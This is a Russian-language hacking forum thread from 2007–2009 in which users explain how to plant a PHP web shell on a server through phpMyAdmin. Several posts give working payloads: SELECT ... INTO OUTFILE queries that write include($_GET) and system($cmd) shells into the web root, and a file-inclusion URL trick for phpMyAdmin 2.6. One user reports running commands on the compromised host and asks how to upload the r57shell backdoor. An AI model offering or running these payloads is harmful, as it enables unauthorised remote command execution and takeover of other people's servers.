Залить ШЕЛЛ через PHPmyadmin

Discussion in 'PHP' started by street16, 12 Jan 2007.

  1. street16

    street16 Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    42
    Likes Received:
    5
    Reputations:
    1
    Собственно сабж
     
  2. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    помоему никак.
     
  3. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    если есть права на запись, выполняй запрос

    select '<? include($_GET[sh]); ?>' from table into outfile '/home/user/...';
     
  4. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    2ettee
    а какая разница между моим и твоим постом?
     
  5. street16

    street16 Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    42
    Likes Received:
    5
    Reputations:
    1
    а как узнать /home/site/www/dir/shell.php что именно вместо этого подставлять?
     
  6. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    кароче если версия 2.6.* и есть права на запись хоть в тмп, то можно
    phpmyadmin/libraries/database_interface.lib.php?cfg[Server][extension]=LOCAL_FILE
     
    #6 ShAnKaR, 13 Jan 2007
    Last edited: 13 Jan 2007
  7. street16

    street16 Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    42
    Likes Received:
    5
    Reputations:
    1
    phpmyadmin/libraries/database_interface.lib.php нет там такого

    версия phpMyAdmin 2.5.7
     
  8. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    в phpmyadmin довольно много способов узнать локальный путь например попросить какойнить файл который обычно не вызывается на прямую а только инклудится, а потом попробовать select '<? phpinfo(); ?>' into outfile '/path_to_phpmyadmin/shell.php' либо вобще поищи на http://packetstormsecurity.org про phpmyadmin инфу
     
  9. street16

    street16 Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    42
    Likes Received:
    5
    Reputations:
    1
    ок у меня получилось select '<?php system($cmd) ?>' into outfile '/path_to_phpmyadmin/shell.php'
    ротом я набрал www.host/phpmyadmin/shell.php?cmd=dir,но там все в нечетабельном виде,как мне напрмер залить r57shell? На сервере стоит винда
     
    #9 street16, 13 Jan 2007
    Last edited: 13 Jan 2007
  10. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    в pm
     
  11. Djuise

    Djuise New Member

    Joined:
    17 Feb 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    пишет #1045 - Access denied for user 'name'@'localhost' (using password: YES)
     
  12. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    934
    Likes Received:
    394
    Reputations:
    261
    Значит нет прав на заливку.
     
  13. 1SeTh

    1SeTh Elder - Старейшина

    Joined:
    17 Feb 2006
    Messages:
    164
    Likes Received:
    18
    Reputations:
    5
    сделал вышеописанный запрос вот что мне выдало
    Can't create/write to file 'd:\htdocs\phpmyadmin\shell.php (errcode 22)
     
    #13 1SeTh, 18 Dec 2008
    Last edited: 7 Jan 2009
  14. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    http://dev.mysql.com/doc/refman/5.0/en/cannot-create.html
     
  15. 1SeTh

    1SeTh Elder - Старейшина

    Joined:
    17 Feb 2006
    Messages:
    164
    Likes Received:
    18
    Reputations:
    5
    Error code: 22 ozna4aet invalid argument
    как быть дальше?
     
    #15 1SeTh, 18 Dec 2008
    Last edited: 7 Jan 2009